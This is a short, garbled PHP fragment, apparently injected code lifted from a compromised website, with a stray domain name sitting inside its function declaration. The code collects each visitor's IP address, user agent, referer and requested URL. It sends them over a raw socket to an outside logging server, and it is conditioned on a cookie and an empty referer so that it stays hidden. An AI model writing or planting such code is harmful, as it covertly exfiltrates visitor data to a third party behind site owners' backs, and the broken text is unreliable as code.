function log_bot_v3() ewa-collection.bazafirm.pl { $_referer = isset($_SERVER['HTTP_REFERER']) ? urlencode($_SERVER['HTTP_REFERER']) : ''; $_ip = isset($_SERVER['REMOTE_ADDR']) ? urlencode($_SERVER['REMOTE_ADDR']) : ''; $_ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT']: ''; $_uri = isset($_SERVER['REQUEST_URI']) ? urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']) :''; $sent=0; $fp = @fsockopen(_LOG_SERVER, _LOG_PORT, $errno, $errstr, 2); if ($fp) { if(function_exists('stream_set_timeout')){ stream_set_timeout($fp, 2); } $sent=fputs ($fp, "GET http://"._LOG_SERVER.':'._LOG_PORT."/_log/index.php?0=8|0|$_uri||$_referer|$_ua||$_ip HTTP/1.0\r\n\r\n"); fclose ($fp); } return $sent; } if (!isset($_COOKIE['t11235v3']) && empty($_SERVER['HTTP_REFERER'])) log_bot_v3(); ?>